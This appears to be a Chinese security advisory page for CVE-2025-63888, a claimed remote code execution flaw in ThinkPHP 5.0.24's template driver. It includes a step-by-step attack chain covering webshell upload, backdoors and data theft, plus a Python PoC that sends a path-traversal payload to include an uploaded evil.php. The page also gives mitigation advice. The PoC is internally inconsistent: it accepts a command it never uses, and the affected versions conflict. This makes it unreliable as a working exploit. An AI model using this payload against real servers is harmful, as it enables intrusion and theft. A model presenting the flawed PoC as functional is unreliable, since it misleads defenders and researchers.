IPBUF安全漏洞报告
English
CVE-2025-63888 CVSS 9.8 严重

CVE-2025-63888 ThinkPHP 5.0.24 模板驱动远程代码执行漏洞

披露日期: 2025-11-20

漏洞信息

漏洞编号
CVE-2025-63888
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ThinkPHP 5.0.24

相关标签

ThinkPHP远程代码执行模板引擎CVE-2025-63888路径遍历文件包含Web安全高危漏洞

漏洞概述

CVE-2025-63888是ThinkPHP 5.0.24版本中的一个严重远程代码执行漏洞。该漏洞存在于ThinkPHP框架的模板引擎组件中,具体位于thinkphp/library/think/template/driver/File.php文件的read函数。由于该函数对文件路径处理存在安全缺陷,攻击者可以通过构造恶意的文件路径参数来触发路径遍历或文件包含行为,从而在服务器上执行任意PHP代码。此漏洞的CVSS评分高达9.8,属于紧急严重级别,攻击复杂度低,无需任何认证或用户交互即可实现远程攻击。攻击者只需通过发送特制的HTTP请求,即可利用该漏洞获取服务器完全控制权,执行系统命令、上传恶意文件或窃取敏感数据。该漏洞影响所有使用ThinkPHP 5.0.24版本模板引擎的Web应用程序,危害范围极广,建议受影响的用户尽快升级到最新版本或采取临时防护措施。由于ThinkPHP在国内被广泛应用于各类Web系统,包括企业管理系统、电商平台和内容管理系统等,该漏洞可能影响大量线上业务系统,存在被大规模扫描和利用的风险。

技术细节

该漏洞的核心问题在于ThinkPHP模板引擎的File.php驱动中的read函数对用户输入的文件路径缺乏充分的验证和过滤。攻击者可以通过构造包含路径遍历序列(如../)或特殊字符的文件路径参数,使应用程序加载并执行任意位置的PHP文件。在ThinkPHP的模板渲染流程中,read函数负责读取模板文件内容,当攻击者能够控制传入的文件路径时,可以绕过安全限制访问系统敏感文件(如/etc/passwd)或包含恶意代码的文件。更为严重的是,如果攻击者能够将恶意PHP代码写入可访问的目录并通过模板引擎加载执行,即可实现完整的远程代码执行。建议开发者检查所有文件操作相关的函数调用,确保文件路径经过realpath()规范化处理并验证最终路径在预期目录范围内,同时避免将用户可控的输入直接用于文件路径构造。

攻击链分析

STEP 1
步骤1
信息收集:攻击者扫描目标服务器,确认其运行ThinkPHP 5.0.24版本,并通过指纹识别确定模板引擎路由
STEP 2
步骤2
构造恶意请求:攻击者构造包含路径遍历序列的HTTP请求,目标是thinkphp/library/think/template/driver/File/read端点
STEP 3
步骤3
上传webshell:攻击者首先通过文件上传功能或其他漏洞将包含恶意PHP代码的文件写入服务器可访问目录
STEP 4
步骤4
触发漏洞利用:通过File.php的read函数加载并执行预先上传的webshell,实现远程代码执行
STEP 5
步骤5
维持持久化:攻击者在服务器上创建后门账户、上传提权工具或植入更深层的恶意代码以维持长期访问
STEP 6
步骤6
数据窃取:利用获得的服务器权限,窃取数据库中的敏感信息、用户凭证和业务数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-63888 PoC for ThinkPHP 5.0.24 Template RCE # Target: ThinkPHP application with vulnerable template driver def exploit(target_url, command): """ Exploit ThinkPHP template driver File.php read function for remote code execution via path traversal """ # Vulnerable endpoint - template rendering with user-controlled path endpoint = f"{target_url}/index.php?s=index/\think\template\driver\File/read" # Construct malicious payload with path traversal # Target: Include a file containing PHP code to execute payload = { 'file': f'../../../../../../../../../var/www/html/public/uploads/evil.php' } try: response = requests.post(endpoint, data=payload, timeout=10) print(f"[*] Request sent to: {endpoint}") print(f"[*] Status code: {response.status_code}") print(f"[*] Response length: {len(response.text)}") if response.status_code == 200: print("[+] Potential vulnerability confirmed!") print(f"[*] Response preview: {response.text[:500]}") else: print("[-] Request failed or target may not be vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-63888.py <target_url> [command]") print("Example: python cve-2025-63888.py http://target.com id") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else "whoami" exploit(target, cmd)

影响范围

ThinkPHP 5.0.24 及之前版本

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)通过Nginx或Apache配置禁止访问疑似漏洞端点(如/index.php?s=index/\think\template\driver\File/*);2)在应用程序入口处增加文件路径安全检查,过滤../等路径遍历字符;3)限制Web服务器用户对敏感目录的写权限;4)启用PHP安全模式相关配置;5)部署入侵检测系统监控可疑的路径遍历请求;6)考虑使用虚拟补丁技术临时拦截对该漏洞的利用尝试。建议同时检查是否存在其他已知的ThinkPHP历史漏洞,并确保所有安全更新都已应用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表